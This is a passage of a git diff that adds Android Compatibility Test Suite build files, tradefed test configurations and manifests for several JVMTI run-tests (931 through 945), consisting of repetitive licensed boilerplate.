+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest931DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_931" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/Android.mk b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
new file mode 100644
index 0000000..c03028a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest931DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
new file mode 100644
index 0000000..710e208
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-931/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_931">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="931" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_931" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-932/Android.mk b/hostsidetests/jvmti/run-tests/test-932/Android.mk
new file mode 100644
index 0000000..c952c86
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest932HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
new file mode 100644
index 0000000..b6b1574
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest932DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_932" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest932HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest932DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_932" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/Android.mk b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
new file mode 100644
index 0000000..651a9ee
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest932DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
new file mode 100644
index 0000000..6c4affd
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-932/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_932">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="932" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_932" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-940/Android.mk b/hostsidetests/jvmti/run-tests/test-940/Android.mk
new file mode 100644
index 0000000..4ed5dec
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest940HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
new file mode 100644
index 0000000..56ebc24
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest940DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_940" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest940HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest940DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_940" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/Android.mk b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
new file mode 100644
index 0000000..c2121eb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest940DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
new file mode 100644
index 0000000..227e058
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-940/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_940">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="940" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_940" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-942/Android.mk b/hostsidetests/jvmti/run-tests/test-942/Android.mk
new file mode 100644
index 0000000..d2605b7
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest942HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
new file mode 100644
index 0000000..ffe2bf4
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest942DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_942" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest942HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest942DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_942" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/Android.mk b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
new file mode 100644
index 0000000..82d3b6a
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest942DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
new file mode 100644
index 0000000..c40171f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-942/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_942">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="942" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_942" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-944/Android.mk b/hostsidetests/jvmti/run-tests/test-944/Android.mk
new file mode 100644
index 0000000..16f9c7f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest944HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
new file mode 100644
index 0000000..c772bfb
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest944DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_944" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest944HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest944DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_944" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/Android.mk b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
new file mode 100644
index 0000000..c820284
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest944DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
new file mode 100644
index 0000000..2492237
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-944/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_944">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="944" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_944" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-945/Android.mk b/hostsidetests/jvmti/run-tests/test-945/Android.mk
new file mode 100644
index 0000000..e86d85e
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/Android.mk
@@ -0,0 +1,26 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest945HostTestCases
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiHostTestBase
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
new file mode 100644
index 0000000..431c5e6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <target_preparer class="android.jvmti.cts.JvmtiPreparer">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest945DeviceApp.apk" />
+        <option name="package-name" value="android.jvmti.cts.run_test_945" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest945HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest945DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_945" />
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/Android.mk b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
new file mode 100644
index 0000000..b704807
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/app/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_DEX_PREOPT := false
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_SRC_FILES :=
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
+LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
+LOCAL_MULTILIB := both
+LOCAL_SDK_VERSION := current
+
+# TODO: Refactor. This is the only thing every changing.
+LOCAL_PACKAGE_NAME := CtsJvmtiRunTest945DeviceApp
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
new file mode 100644
index 0000000..bfe5f24
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-945/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
